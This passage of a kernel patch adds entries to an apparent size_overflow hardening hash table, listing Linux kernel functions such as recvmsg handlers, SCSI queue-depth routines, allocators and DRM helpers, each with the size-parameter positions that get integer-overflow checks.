++_002136_hash ieee80211_if_read_dot11MeshHWMPactivePathTimeout 3 7368 _002136_hash NULL ++_002137_hash ieee80211_if_read_dot11MeshHWMPmaxPREQretries 3 59829 _002137_hash NULL ++_002138_hash ieee80211_if_read_dot11MeshHWMPnetDiameterTraversalTime 3 1589 _002138_hash NULL ++_002139_hash ieee80211_if_read_dot11MeshHWMPperrMinInterval 3 17346 _002139_hash NULL ++_002140_hash ieee80211_if_read_dot11MeshHWMPpreqMinInterval 3 24208 _002140_hash NULL ++_002141_hash ieee80211_if_read_dot11MeshHWMPRannInterval 3 2249 _002141_hash NULL ++_002142_hash ieee80211_if_read_dot11MeshHWMPRootMode 3 51441 _002142_hash NULL ++_002143_hash ieee80211_if_read_dot11MeshMaxPeerLinks 3 23878 _002143_hash NULL ++_002144_hash ieee80211_if_read_dot11MeshMaxRetries 3 12756 _002144_hash NULL ++_002145_hash ieee80211_if_read_dot11MeshRetryTimeout 3 52168 _002145_hash NULL ++_002146_hash ieee80211_if_read_dot11MeshTTL 3 58307 _002146_hash NULL ++_002147_hash ieee80211_if_read_dropped_frames_congestion 3 32603 _002147_hash NULL ++_002148_hash ieee80211_if_read_dropped_frames_no_route 3 33383 _002148_hash NULL ++_002149_hash ieee80211_if_read_dropped_frames_ttl 3 44500 _002149_hash NULL ++_002150_hash ieee80211_if_read_drop_unencrypted 3 37053 _002150_hash NULL ++_002151_hash ieee80211_if_read_dtim_count 3 38419 _002151_hash NULL ++_002152_hash ieee80211_if_read_element_ttl 3 18869 _002152_hash NULL ++_002153_hash ieee80211_if_read_estab_plinks 3 32533 _002153_hash NULL ++_002154_hash ieee80211_if_read_flags 3 57470 _002389_hash NULL nohasharray ++_002155_hash ieee80211_if_read_fwded_frames 3 36520 _002155_hash NULL ++_002156_hash ieee80211_if_read_fwded_mcast 3 39571 _002156_hash &_000151_hash ++_002157_hash ieee80211_if_read_fwded_unicast 3 59740 _002859_hash NULL nohasharray ++_002158_hash ieee80211_if_read_last_beacon 3 31257 _002158_hash NULL ++_002159_hash ieee80211_if_read_min_discovery_timeout 3 13946 _002159_hash NULL ++_002160_hash ieee80211_if_read_num_buffered_multicast 3 12716 _002160_hash NULL ++_002161_hash ieee80211_if_read_num_sta_authorized 3 56177 _002161_hash NULL ++_002162_hash ieee80211_if_read_num_sta_ps 3 34722 _002162_hash NULL ++_002163_hash ieee80211_if_read_path_refresh_time 3 25545 _002163_hash NULL ++_002164_hash ieee80211_if_read_peer 3 45233 _002164_hash NULL ++_002165_hash ieee80211_if_read_rc_rateidx_mask_2ghz 3 61570 _002165_hash NULL ++_002166_hash ieee80211_if_read_rc_rateidx_mask_5ghz 3 27183 _002166_hash NULL ++_002167_hash ieee80211_if_read_rc_rateidx_mcs_mask_2ghz 3 37675 _002167_hash NULL ++_002168_hash ieee80211_if_read_rc_rateidx_mcs_mask_5ghz 3 44423 _002168_hash NULL ++_002169_hash ieee80211_if_read_rssi_threshold 3 49260 _002169_hash NULL ++_002170_hash ieee80211_if_read_smps 3 27416 _002170_hash NULL ++_002171_hash ieee80211_if_read_state 3 9813 _002280_hash NULL nohasharray ++_002172_hash ieee80211_if_read_tkip_mic_test 3 19565 _002172_hash NULL ++_002173_hash ieee80211_if_read_tsf 3 16420 _002173_hash NULL ++_002174_hash ieee80211_if_read_uapsd_max_sp_len 3 15067 _002174_hash NULL ++_002175_hash ieee80211_if_read_uapsd_queues 3 55150 _002175_hash NULL ++_002176_hash ieee80211_rx_mgmt_beacon 3 24430 _002176_hash NULL ++_002177_hash ieee80211_rx_mgmt_probe_resp 3 6918 _002177_hash NULL ++_002178_hash ima_show_htable_violations 3 10619 _002178_hash NULL ++_002179_hash ima_show_measurements_count 3 23536 _002179_hash NULL ++_002180_hash insert_one_name 7 61668 _002180_hash NULL ++_002181_hash ipr_change_queue_depth 2 6431 _002181_hash NULL ++_002182_hash ip_recv_error 3 23109 _002182_hash NULL ++_002183_hash ipv6_recv_error 3 56347 _002183_hash NULL ++_002184_hash ipv6_recv_rxpmtu 3 7142 _002184_hash NULL ++_002185_hash ipx_recvmsg 4 44366 _002185_hash NULL ++_002186_hash irda_recvmsg_dgram 4 32631 _002186_hash NULL ++_002187_hash iscsi_change_queue_depth 2 23416 _002187_hash NULL ++_002188_hash ivtv_read_pos 3 34400 _002188_hash &_000303_hash ++_002189_hash key_conf_hw_key_idx_read 3 25003 _002189_hash NULL ++_002190_hash key_conf_keyidx_read 3 42443 _002190_hash NULL ++_002191_hash key_conf_keylen_read 3 49758 _002191_hash NULL ++_002192_hash key_flags_read 3 25931 _002192_hash NULL ++_002193_hash key_ifindex_read 3 31411 _002193_hash NULL ++_002194_hash key_tx_rx_count_read 3 44742 _002194_hash NULL ++_002195_hash l2cap_sock_sendmsg 4 63427 _002195_hash NULL ++_002196_hash l2tp_ip_recvmsg 4 22681 _002196_hash NULL ++_002197_hash llc_ui_recvmsg 4 3826 _002197_hash NULL ++_002198_hash lpfc_change_queue_depth 2 25905 _002198_hash NULL ++_002199_hash macvtap_do_read 4 36555 _002199_hash &_001832_hash ++_002200_hash megaraid_change_queue_depth 2 64815 _002200_hash NULL ++_002201_hash megasas_change_queue_depth 2 32747 _002201_hash NULL ++_002202_hash mptscsih_change_queue_depth 2 26036 _002202_hash NULL ++_002203_hash NCR_700_change_queue_depth 2 31742 _002203_hash NULL ++_002204_hash netlink_recvmsg 4 61600 _002204_hash NULL ++_002205_hash nfsctl_transaction_read 3 48250 _002205_hash NULL ++_002206_hash nfs_map_group_to_gid 3 15892 _002206_hash NULL ++_002207_hash nfs_map_name_to_uid 3 51132 _002207_hash NULL ++_002208_hash nr_recvmsg 4 12649 _002208_hash NULL ++_002209_hash osd_req_list_collection_objects 5 36664 _002209_hash NULL ++_002210_hash osd_req_list_partition_objects 5 56464 _002210_hash NULL ++_002212_hash packet_recv_error 3 16669 _002212_hash NULL ++_002213_hash packet_recvmsg 4 47700 _002213_hash NULL ++_002214_hash pep_recvmsg 4 19402 _002214_hash NULL ++_002215_hash pfkey_recvmsg 4 53604 _002215_hash NULL ++_002216_hash ping_recvmsg 4 25597 _002216_hash NULL ++_002217_hash pmcraid_change_queue_depth 2 9116 _002217_hash NULL ++_002218_hash pn_recvmsg 4 30887 _002218_hash NULL ++_002219_hash pointer_size_read 3 51863 _002219_hash NULL ++_002220_hash power_read 3 15939 _002220_hash NULL ++_002221_hash pppoe_recvmsg 4 15073 _002221_hash NULL ++_002222_hash pppol2tp_recvmsg 4 57742 _003858_hash NULL nohasharray ++_002223_hash qla2x00_adjust_sdev_qdepth_up 2 20097 _002223_hash NULL ++_002224_hash qla2x00_change_queue_depth 2 24742 _002224_hash NULL ++_002225_hash raw_recvmsg 4 52529 _002225_hash NULL ++_002226_hash rawsock_recvmsg 4 12144 _002226_hash NULL ++_002227_hash rawv6_recvmsg 4 30265 _002227_hash NULL ++_002228_hash reada_add_block 2 54247 _002228_hash NULL ++_002229_hash readahead_tree_block 3 36285 _002229_hash NULL ++_002230_hash reada_tree_block_flagged 3 18402 _002230_hash NULL ++_002231_hash read_tree_block 3 841 _002231_hash NULL ++_002232_hash recover_peb 6-7 29238 _002232_hash NULL ++_002234_hash recv_msg 4 48709 _002234_hash NULL ++_002235_hash recv_stream 4 30138 _002235_hash NULL ++_002236_hash _req_append_segment 2 41031 _002236_hash NULL ++_002237_hash request_key_async 4 6990 _002237_hash NULL ++_002238_hash request_key_async_with_auxdata 4 46624 _002238_hash NULL ++_002239_hash request_key_with_auxdata 4 24515 _002239_hash NULL ++_002240_hash rose_recvmsg 4 2368 _002240_hash NULL ++_002241_hash rxrpc_recvmsg 4 26233 _002241_hash NULL ++_002242_hash rx_streaming_always_read 3 49401 _002242_hash NULL ++_002243_hash rx_streaming_interval_read 3 55291 _002243_hash NULL ++_002244_hash sas_change_queue_depth 2 18555 _002244_hash NULL ++_002245_hash scsi_activate_tcq 2 42640 _002245_hash NULL ++_002246_hash scsi_deactivate_tcq 2 47086 _002246_hash NULL ++_002247_hash scsi_execute 5 33596 _002247_hash NULL ++_002248_hash _scsih_adjust_queue_depth 2 1083 _002248_hash NULL ++_002249_hash scsi_init_shared_tag_map 2 59812 _002249_hash NULL ++_002250_hash scsi_track_queue_full 2 44239 _002250_hash NULL ++_002251_hash sctp_recvmsg 4 23265 _002251_hash NULL ++_002252_hash send_stream 4 3397 _002252_hash NULL ++_002253_hash skb_copy_and_csum_datagram_iovec 2 24466 _002253_hash NULL ++_002255_hash snd_gf1_mem_proc_dump 5 16926 _003922_hash NULL nohasharray ++_002256_hash split_scan_timeout_read 3 20029 _002256_hash NULL ++_002257_hash sta_dev_read 3 14782 _002257_hash NULL ++_002258_hash sta_inactive_ms_read 3 25690 _002258_hash NULL ++_002259_hash sta_last_signal_read 3 31818 _002259_hash NULL ++_002260_hash stats_dot11ACKFailureCount_read 3 45558 _002260_hash NULL ++_002261_hash stats_dot11FCSErrorCount_read 3 28154 _002261_hash NULL ++_002262_hash stats_dot11RTSFailureCount_read 3 43948 _002262_hash NULL ++_002263_hash stats_dot11RTSSuccessCount_read 3 33065 _002263_hash NULL ++_002264_hash storvsc_connect_to_vsp 2 22 _002264_hash NULL ++_002265_hash suspend_dtim_interval_read 3 64971 _002265_hash NULL ++_002266_hash sys_msgrcv 3 959 _002266_hash NULL ++_002267_hash tcm_loop_change_queue_depth 2 42454 _002267_hash NULL ++_002268_hash tcp_copy_to_iovec 3 28344 _002268_hash NULL ++_002269_hash tcp_recvmsg 4 31238 _002269_hash NULL ++_002270_hash timeout_read 3 47915 _002270_hash NULL ++_002271_hash total_ps_buffered_read 3 16365 _002271_hash NULL ++_002272_hash tun_put_user 4 59849 _002272_hash NULL ++_002273_hash twa_change_queue_depth 2 48808 _002273_hash NULL ++_002274_hash tw_change_queue_depth 2 11116 _002274_hash NULL ++_002275_hash twl_change_queue_depth 2 41342 _002275_hash NULL ++_002276_hash ubi_eba_write_leb 5-6 19826 _002276_hash NULL ++_002278_hash ubi_eba_write_leb_st 5 27896 _002278_hash NULL ++_002279_hash udp_recvmsg 4 42558 _002279_hash NULL ++_002280_hash udpv6_recvmsg 4 9813 _002280_hash &_002171_hash ++_002281_hash ulong_read_file 3 42304 _002281_hash &_000511_hash ++_002282_hash unix_dgram_recvmsg 4 14952 _002282_hash NULL ++_002283_hash user_power_read 3 39414 _002283_hash NULL ++_002284_hash vcc_recvmsg 4 37198 _002284_hash NULL ++_002285_hash wep_iv_read 3 54744 _002285_hash NULL ++_002286_hash x25_recvmsg 4 42777 _002286_hash NULL ++_002287_hash xfs_iext_insert 3 18667 _003817_hash NULL nohasharray ++_002288_hash xfs_iext_remove 3 50909 _002288_hash NULL ++_002289_hash xlog_find_verify_log_record 2 18870 _002289_hash NULL ++_002290_hash btrfs_alloc_free_block 3 29982 _002290_hash NULL ++_002291_hash cx18_read_pos 3 4683 _002291_hash NULL ++_002292_hash l2cap_sock_recvmsg 4 59886 _002292_hash NULL ++_002293_hash osd_req_list_dev_partitions 4 60027 _002293_hash NULL ++_002294_hash osd_req_list_partition_collections 5 38223 _002294_hash NULL ++_002295_hash osst_do_scsi 4 44410 _002295_hash NULL ++_002296_hash qla2x00_handle_queue_full 2 24365 _002296_hash NULL ++_002297_hash rfcomm_sock_recvmsg 4 22227 _002297_hash NULL ++_002298_hash scsi_execute_req 5 42088 _002298_hash NULL ++_002299_hash _scsih_change_queue_depth 2 26230 _002299_hash NULL ++_002300_hash spi_execute 5 28736 _002300_hash NULL ++_002301_hash submit_inquiry 3 42108 _002301_hash NULL ++_002302_hash tcp_dma_try_early_copy 3 37651 _002302_hash NULL ++_002303_hash tun_do_read 4 50800 _002303_hash NULL ++_002304_hash ubi_eba_atomic_leb_change 5 13041 _002304_hash NULL ++_002305_hash ubi_leb_write 4-5 41691 _002305_hash NULL ++_002307_hash unix_seqpacket_recvmsg 4 23062 _003542_hash NULL nohasharray ++_002308_hash write_leb 5 36957 _002308_hash NULL ++_002309_hash ch_do_scsi 4 31171 _002309_hash NULL ++_002310_hash dbg_leb_write 4-5 20478 _002310_hash NULL ++_002312_hash scsi_mode_sense 5 16835 _002312_hash NULL ++_002313_hash scsi_vpd_inquiry 4 30040 _002313_hash NULL ++_002314_hash ses_recv_diag 4 47143 _002314_hash &_000673_hash ++_002315_hash ses_send_diag 4 64527 _002315_hash NULL ++_002316_hash spi_dv_device_echo_buffer 2-3 39846 _002316_hash NULL ++_002318_hash ubifs_leb_write 4-5 61226 _002318_hash NULL ++_002320_hash ubi_leb_change 4 14899 _002320_hash NULL ++_002321_hash ubi_write 4-5 30809 _002321_hash NULL ++_002322_hash dbg_leb_change 4 19969 _002322_hash NULL ++_002323_hash gluebi_write 3 27905 _002323_hash NULL ++_002324_hash scsi_get_vpd_page 4 51951 _002324_hash NULL ++_002325_hash sd_do_mode_sense 5 11507 _002325_hash NULL ++_002326_hash ubifs_leb_change 4 22399 _002436_hash NULL nohasharray ++_002327_hash ubifs_write_node 5 15088 _002327_hash NULL ++_002328_hash fixup_leb 3 43256 _002328_hash NULL ++_002329_hash recover_head 3 17904 _002329_hash NULL ++_002330_hash alloc_cpu_rmap 1 65363 _002330_hash NULL ++_002331_hash alloc_ebda_hpc 1-2 50046 _002331_hash NULL ++_002333_hash alloc_sched_domains 1 28972 _002333_hash NULL ++_002334_hash amthi_read 4 45831 _002334_hash NULL ++_002335_hash bcm_char_read 3 31750 _002335_hash NULL ++_002336_hash BcmCopySection 5 2035 _002336_hash NULL ++_002337_hash buffer_from_user 3 51826 _002337_hash NULL ++_002338_hash buffer_to_user 3 35439 _002338_hash NULL ++_002339_hash c4iw_init_resource_fifo 3 48090 _002339_hash NULL ++_002340_hash c4iw_init_resource_fifo_random 3 25547 _002340_hash NULL ++_002341_hash card_send_command 3 40757 _002341_hash NULL ++_002342_hash chd_dec_fetch_cdata 3 50926 _002342_hash NULL ++_002343_hash crystalhd_create_dio_pool 2 3427 _002343_hash NULL ++_002344_hash crystalhd_user_data 3 18407 _002344_hash NULL ++_002345_hash cxio_init_resource_fifo 3 28764 _002345_hash NULL ++_002346_hash cxio_init_resource_fifo_random 3 47151 _002346_hash NULL ++_002347_hash do_pages_stat 2 4437 _002347_hash NULL ++_002348_hash do_read_log_to_user 4 3236 _002348_hash NULL ++_002349_hash do_write_log_from_user 3 39362 _002349_hash NULL ++_002350_hash dt3155_read 3 59226 _002350_hash NULL ++_002351_hash easycap_alsa_vmalloc 2 14426 _002351_hash NULL ++_002352_hash evm_read_key 3 54674 _002352_hash NULL ++_002353_hash evm_write_key 3 27715 _002353_hash NULL ++_002354_hash fir16_create 3 5574 _002354_hash NULL ++_002355_hash iio_allocate_device 1 18821 _002355_hash NULL ++_002356_hash __iio_allocate_kfifo 2-3 55738 _002356_hash NULL ++_002358_hash __iio_allocate_sw_ring_buffer 3 4843 _002358_hash NULL ++_002359_hash iio_debugfs_read_reg 3 60908 _002359_hash NULL ++_002360_hash iio_debugfs_write_reg 3 22742 _002360_hash NULL ++_002361_hash iio_event_chrdev_read 3 54757 _002361_hash NULL ++_002362_hash iio_read_first_n_kfifo 2 57910 _002362_hash NULL ++_002363_hash iio_read_first_n_sw_rb 2 51911 _002363_hash NULL ++_002364_hash ioapic_setup_resources 1 35255 _002364_hash NULL ++_002365_hash keymap_store 4 45406 _002365_hash NULL ++_002366_hash kzalloc_node 1 24352 _002366_hash NULL ++_002367_hash line6_alloc_sysex_buffer 4 28225 _002367_hash NULL ++_002368_hash line6_dumpreq_initbuf 3 53123 _002368_hash NULL ++_002369_hash line6_midibuf_init 2 52425 _002369_hash NULL ++_002370_hash lirc_write 3 20604 _002370_hash NULL ++_002371_hash _malloc 1 54077 _002371_hash NULL ++_002372_hash mei_read 3 6507 _002372_hash NULL ++_002373_hash mei_write 3 4005 _002373_hash NULL ++_002374_hash mempool_create_node 1 44715 _002374_hash NULL ++_002375_hash msg_set 3 51725 _002375_hash NULL ++_002376_hash newpart 6 47485 _002376_hash NULL ++_002377_hash OS_kmalloc 1 36909 _002377_hash NULL ++_002378_hash pcpu_alloc_bootmem 2 62074 _002378_hash NULL ++_002379_hash pcpu_get_vm_areas 3 50085 _002379_hash NULL ++_002380_hash resource_from_user 3 30341 _002380_hash NULL ++_002381_hash sca3000_read_data 4 57064 _002381_hash NULL ++_002382_hash sca3000_read_first_n_hw_rb 2 11479 _002382_hash NULL ++_002383_hash send_midi_async 3 57463 _002383_hash NULL ++_002384_hash sep_create_dcb_dmatables_context 6 37551 _002384_hash NULL ++_002385_hash sep_create_dcb_dmatables_context_kernel 6 49728 _002385_hash NULL ++_002386_hash sep_create_msgarea_context 4 33829 _002386_hash NULL ++_002387_hash sep_lli_table_secure_dma 2-3 64042 _002387_hash NULL ++_002389_hash sep_lock_user_pages 2-3 57470 _002389_hash &_002154_hash ++_002391_hash sep_prepare_input_output_dma_table_in_dcb 4-5-2-3 63087 _002391_hash NULL ++_002393_hash sep_read 3 17161 _002393_hash NULL ++_002394_hash TransmitTcb 4 12989 _002394_hash NULL ++_002395_hash ValidateDSDParamsChecksum 3 63654 _002395_hash NULL ++_002396_hash Wb35Reg_BurstWrite 4 62327 _002396_hash NULL ++_002397_hash __alloc_bootmem_low_node 2 25726 _002397_hash &_001499_hash ++_002398_hash __alloc_bootmem_node 2 1992 _002398_hash NULL ++_002399_hash alloc_irq_cpu_rmap 1 28459 _002399_hash NULL ++_002400_hash alloc_ring 2-4 18278 _002400_hash NULL ++_002402_hash c4iw_init_resource 2-3 30393 _002402_hash NULL ++_002404_hash cxio_hal_init_resource 2-7-6 29771 _002404_hash &_000284_hash ++_002407_hash cxio_hal_init_rhdl_resource 1 25104 _002407_hash NULL ++_002408_hash disk_expand_part_tbl 2 30561 _002408_hash NULL ++_002409_hash InterfaceTransmitPacket 3 42058 _002409_hash NULL ++_002410_hash line6_dumpreq_init 3 34473 _002410_hash NULL ++_002411_hash mempool_create 1 29437 _002411_hash NULL ++_002412_hash pcpu_fc_alloc 2 11818 _002412_hash NULL ++_002413_hash pod_alloc_sysex_buffer 3 31651 _002413_hash NULL ++_002414_hash r8712_usbctrl_vendorreq 6 48489 _002414_hash NULL ++_002415_hash r871x_set_wpa_ie 3 7000 _002415_hash NULL ++_002416_hash sys_move_pages 2 42626 _002416_hash NULL ++_002417_hash variax_alloc_sysex_buffer 3 15237 _002417_hash NULL ++_002418_hash vme_user_write 3 15587 _002418_hash NULL ++_002419_hash add_partition 2 55588 _002419_hash NULL ++_002420_hash __alloc_bootmem_node_high 2 65076 _002420_hash NULL ++_002421_hash ceph_msgpool_init 3 33312 _002421_hash NULL ++_002423_hash mempool_create_kmalloc_pool 1 41650 _002423_hash NULL ++_002424_hash mempool_create_page_pool 1 30189 _002424_hash NULL ++_002425_hash mempool_create_slab_pool 1 62907 _002425_hash NULL ++_002426_hash variax_set_raw2 4 32374 _002426_hash NULL ++_002427_hash bioset_create 1 5580 _002427_hash NULL ++_002428_hash bioset_integrity_create 2 62708 _002428_hash NULL ++_002429_hash biovec_create_pools 2 9575 _002429_hash NULL ++_002430_hash i2o_pool_alloc 4 55485 _002430_hash NULL ++_002431_hash prison_create 1 43623 _002431_hash NULL ++_002432_hash unlink_simple 3 47506 _002432_hash NULL ++_002433_hash alloc_ieee80211 1 20063 _002433_hash NULL ++_002434_hash alloc_ieee80211_rsl 1 34564 _002434_hash NULL ++_002435_hash alloc_page_cgroup 1 2919 _002435_hash NULL ++_002436_hash alloc_private 2 22399 _002436_hash &_002326_hash ++_002437_hash alloc_rtllib 1 51136 _002437_hash NULL ++_002438_hash alloc_rx_desc_ring 2 18016 _002438_hash NULL ++_002439_hash alloc_subdevices 2 43300 _002439_hash NULL ++_002440_hash atomic_counters_read 3 48827 _002440_hash NULL ++_002441_hash atomic_stats_read 3 36228 _002441_hash NULL ++_002442_hash capabilities_read 3 58457 _002442_hash NULL ++_002443_hash comedi_read 3 13199 _002443_hash NULL ++_002444_hash comedi_write 3 47926 _002444_hash NULL ++_002445_hash compat_do_arpt_set_ctl 4 12184 _002445_hash NULL ++_002446_hash compat_do_ip6t_set_ctl 4 3184 _002446_hash NULL ++_002447_hash compat_do_ipt_set_ctl 4 58466 _002447_hash &_001852_hash ++_002448_hash compat_filldir 3 32999 _002448_hash NULL ++_002449_hash compat_filldir64 3 35354 _002449_hash NULL ++_002450_hash compat_fillonedir 3 15620 _002450_hash NULL ++_002451_hash compat_rw_copy_check_uvector 3 25242 _002451_hash NULL ++_002452_hash compat_sock_setsockopt 5 23 _002452_hash NULL ++_002453_hash compat_sys_kexec_load 2 35674 _002453_hash NULL ++_002454_hash compat_sys_keyctl 4 9639 _002454_hash NULL ++_002455_hash compat_sys_move_pages 2 5861 _002455_hash NULL ++_002456_hash compat_sys_mq_timedsend 3 31060 _002456_hash NULL ++_002457_hash compat_sys_msgrcv 2 7482 _002457_hash NULL ++_002458_hash compat_sys_msgsnd 2 10738 _002458_hash NULL ++_002459_hash compat_sys_semtimedop 3 3606 _002459_hash NULL ++_002460_hash __copy_in_user 3 34790 _002460_hash NULL ++_002461_hash copy_in_user 3 57502 _002461_hash NULL ++_002462_hash dev_counters_read 3 19216 _002462_hash NULL ++_002463_hash dev_names_read 3 38509 _002463_hash NULL ++_002464_hash do_arpt_set_ctl 4 51053 _002464_hash NULL ++_002465_hash do_ip6t_set_ctl 4 60040 _002465_hash NULL ++_002466_hash do_ipt_set_ctl 4 56238 _002466_hash NULL ++_002467_hash drbd_bm_resize 2 20522 _002467_hash NULL ++_002468_hash driver_names_read 3 60399 _002468_hash NULL ++_002469_hash driver_stats_read 3 8944 _002469_hash NULL ++_002470_hash __earlyonly_bootmem_alloc 2 23824 _002470_hash NULL ++_002471_hash evtchn_read 3 3569 _002471_hash NULL ++_002472_hash ext_sd_execute_read_data 9 48589 _002472_hash NULL ++_002473_hash ext_sd_execute_write_data 9 8175 _002473_hash NULL ++_002474_hash fat_compat_ioctl_filldir 3 36328 _002474_hash NULL ++_002475_hash firmwareUpload 3 32794 _002475_hash NULL ++_002476_hash flash_read 3 57843 _002476_hash NULL ++_002477_hash flash_write 3 62354 _002477_hash NULL ++_002478_hash gather_array 3 56641 _002478_hash NULL ++_002479_hash ghash_async_setkey 3 60001 _002479_hash NULL ++_002480_hash gntdev_alloc_map 2 35145 _002480_hash NULL ++_002481_hash gnttab_map 2 56439 _002481_hash NULL ++_002482_hash gru_alloc_gts 2-3 60056 _003495_hash NULL nohasharray ++_002484_hash handle_eviocgbit 3 44193 _002484_hash NULL ++_002485_hash hid_parse_report 3 51737 _002485_hash NULL ++_002486_hash ieee80211_alloc_txb 1-2 52477 _002486_hash NULL ++_002487_hash ieee80211_wx_set_gen_ie 3 51399 _002487_hash NULL ++_002488_hash ieee80211_wx_set_gen_ie_rsl 3 3521 _002488_hash NULL ++_002489_hash init_cdev 1 8274 _002489_hash NULL ++_002490_hash init_per_cpu 1 17880 _002490_hash NULL ++_002491_hash ipath_create_cq 2 45586 _002491_hash NULL ++_002492_hash ipath_get_base_info 3 7043 _002492_hash NULL ++_002493_hash ipath_init_qp_table 2 25167 _002493_hash NULL ++_002494_hash ipath_resize_cq 2 712 _002494_hash NULL ++_002495_hash ni_gpct_device_construct 5 610 _002495_hash NULL ++_002496_hash options_write 3 47243 _002496_hash NULL ++_002497_hash portcntrs_1_read 3 47253 _002497_hash NULL ++_002498_hash portcntrs_2_read 3 56586 _002498_hash NULL ++_002499_hash portnames_read 3 41958 _002499_hash NULL ++_002500_hash ptc_proc_write 3 12076 _002500_hash NULL ++_002501_hash put_cmsg_compat 4 35937 _002501_hash NULL ++_002502_hash qib_alloc_devdata 2 51819 _002502_hash NULL ++_002503_hash qib_alloc_fast_reg_page_list 2 10507 _002503_hash NULL ++_002504_hash qib_cdev_init 1 34778 _002504_hash NULL ++_002505_hash qib_create_cq 2 27497 _002505_hash NULL ++_002506_hash qib_diag_write 3 62133 _002506_hash NULL ++_002507_hash qib_get_base_info 3 11369 _002507_hash NULL ++_002508_hash qib_resize_cq 2 53090 _002508_hash NULL ++_002509_hash qsfp_1_read 3 21915 _002509_hash NULL ++_002510_hash qsfp_2_read 3 31491 _002510_hash NULL ++_002511_hash queue_reply 3 22416 _002511_hash NULL ++_002512_hash Realloc 2 34961 _002512_hash NULL ++_002513_hash rfc4106_set_key 3 54519 _002513_hash NULL ++_002514_hash rtllib_alloc_txb 1-2 21687 _002514_hash NULL ++_002515_hash rtllib_wx_set_gen_ie 3 59808 _002515_hash NULL ++_002516_hash rts51x_transfer_data_partial 6 5735 _002516_hash NULL ++_002517_hash sparse_early_usemaps_alloc_node 4 9269 _002517_hash NULL ++_002518_hash split 2 11691 _002518_hash NULL ++_002519_hash stats_read_ul 3 32751 _002519_hash NULL ++_002520_hash store_debug_level 3 35652 _002520_hash NULL ++_002521_hash sys32_ipc 3 7238 _002521_hash NULL ++_002522_hash sys32_rt_sigpending 2 25814 _002522_hash NULL ++_002523_hash tunables_read 3 36385 _002523_hash NULL ++_002524_hash tunables_write 3 59563 _002524_hash NULL ++_002525_hash u32_array_read 3 2219 _002525_hash NULL ++_002526_hash usb_buffer_alloc 2 36276 _002526_hash NULL ++_002527_hash xenbus_file_write 3 6282 _002527_hash NULL ++_002528_hash xpc_kmalloc_cacheline_aligned 1 42895 _002528_hash NULL ++_002529_hash xpc_kzalloc_cacheline_aligned 1 65433 _002529_hash NULL ++_002530_hash xsd_read 3 15653 _002530_hash NULL ++_002531_hash compat_do_readv_writev 4 49102 _002531_hash NULL ++_002532_hash compat_keyctl_instantiate_key_iov 3 57431 _003110_hash NULL nohasharray ++_002533_hash compat_process_vm_rw 3-5 22254 _002533_hash NULL ++_002535_hash compat_sys_setsockopt 5 3326 _002535_hash NULL ++_002536_hash ipath_cdev_init 1 37752 _002536_hash NULL ++_002537_hash ms_read_multiple_pages 4-5 8052 _002537_hash NULL ++_002539_hash ms_write_multiple_pages 5-6 10362 _002539_hash NULL ++_002541_hash sparse_mem_maps_populate_node 4 12669 _002541_hash &_002004_hash ++_002542_hash vmemmap_alloc_block 1 43245 _002542_hash NULL ++_002543_hash xd_read_multiple_pages 4-5 11422 _002543_hash NULL ++_002545_hash xd_write_multiple_pages 5-6 53633 _002545_hash NULL ++_002546_hash compat_readv 3 30273 _002546_hash NULL ++_002547_hash compat_sys_process_vm_readv 3-5 15374 _002547_hash NULL ++_002549_hash compat_sys_process_vm_writev 3-5 41194 _002549_hash NULL ++_002551_hash compat_writev 3 60063 _002551_hash NULL ++_002552_hash ms_rw_multi_sector 4-3 7459 _002552_hash NULL ++_002553_hash sparse_early_mem_maps_alloc_node 4 36971 _002553_hash NULL ++_002554_hash vmemmap_alloc_block_buf 1 61126 _002554_hash NULL ++_002555_hash xd_rw 4-3 49020 _002555_hash NULL ++_002556_hash compat_sys_preadv64 3 24283 _002556_hash NULL ++_002557_hash compat_sys_pwritev64 3 51151 _002557_hash NULL ++_002558_hash compat_sys_readv 3 20911 _002558_hash NULL ++_002559_hash compat_sys_writev 3 5784 _002559_hash NULL ++_002560_hash ms_rw 4 17220 _002560_hash NULL ++_002561_hash compat_sys_preadv 3 583 _002561_hash NULL ++_002562_hash compat_sys_pwritev 3 17886 _002562_hash NULL ++_002563_hash alloc_apertures 1 56561 _002563_hash NULL ++_002564_hash bin_uuid 3 28999 _002564_hash NULL ++_002565_hash __copy_from_user_inatomic_nocache 3 49921 _002565_hash NULL ++_002566_hash do_dmabuf_dirty_sou 7 3017 _002566_hash NULL ++_002567_hash do_surface_dirty_sou 7 39678 _002567_hash NULL ++_002568_hash drm_agp_bind_pages 3 56748 _002568_hash NULL ++_002569_hash drm_calloc_large 1-2 65421 _002569_hash NULL ++_002571_hash drm_fb_helper_init 3-4 19044 _002571_hash NULL ++_002573_hash drm_ht_create 2 18853 _002573_hash NULL ++_002574_hash drm_malloc_ab 1-2 16831 _002574_hash NULL ++_002576_hash drm_mode_crtc_set_gamma_size 2 31881 _002576_hash NULL ++_002577_hash drm_plane_init 6 28731 _002577_hash NULL ++_002578_hash drm_property_create 4 51239 _002578_hash NULL ++_002579_hash drm_property_create_blob 2 7414 _002579_hash NULL ++_002580_hash drm_vblank_init 2 11362 _002580_hash NULL ++_002581_hash drm_vmalloc_dma 1 14550 _002581_hash NULL ++_002582_hash fb_alloc_cmap_gfp 2 20792 _002582_hash NULL ++_002583_hash fbcon_prepare_logo 5 6246 _002583_hash NULL ++_002584_hash fb_read 3 33506 _002584_hash NULL ++_002585_hash fb_write 3 46924 _002585_hash NULL ++_002586_hash framebuffer_alloc 1 59145 _002586_hash NULL ++_002587_hash i915_cache_sharing_read 3 24775 _002587_hash NULL ++_002588_hash i915_cache_sharing_write 3 57961 _002588_hash NULL ++_002589_hash i915_max_freq_read 3 20581 _002589_hash NULL ++_002590_hash i915_max_freq_write 3 11350 _002590_hash NULL ++_002591_hash i915_wedged_read 3 35474 _002591_hash NULL ++_002592_hash i915_wedged_write 3 47771 _002592_hash NULL ++_002593_hash p9_client_read 5 19750 _002593_hash NULL ++_002594_hash probe_kernel_write 3 17481 _002594_hash NULL ++_002595_hash sched_feat_write 3 55202 _002595_hash NULL ++_002596_hash sd_alloc_ctl_entry 1 29708 _002596_hash NULL ++_002597_hash tstats_write 3 60432 _002597_hash &_000009_hash ++_002598_hash ttm_bo_fbdev_io 4 9805 _002598_hash NULL ++_002599_hash ttm_bo_io 5 47000 _002599_hash NULL ++_002600_hash ttm_dma_page_pool_free 2 34135 _002600_hash NULL ++_002601_hash ttm_page_pool_free 2 61661 _002601_hash NULL ++_002602_hash vmw_execbuf_process 5 22885 _002602_hash NULL ++_002603_hash vmw_fifo_reserve 2 12141 _002603_hash NULL ++_002604_hash vmw_kms_present 9 38130 _002604_hash NULL 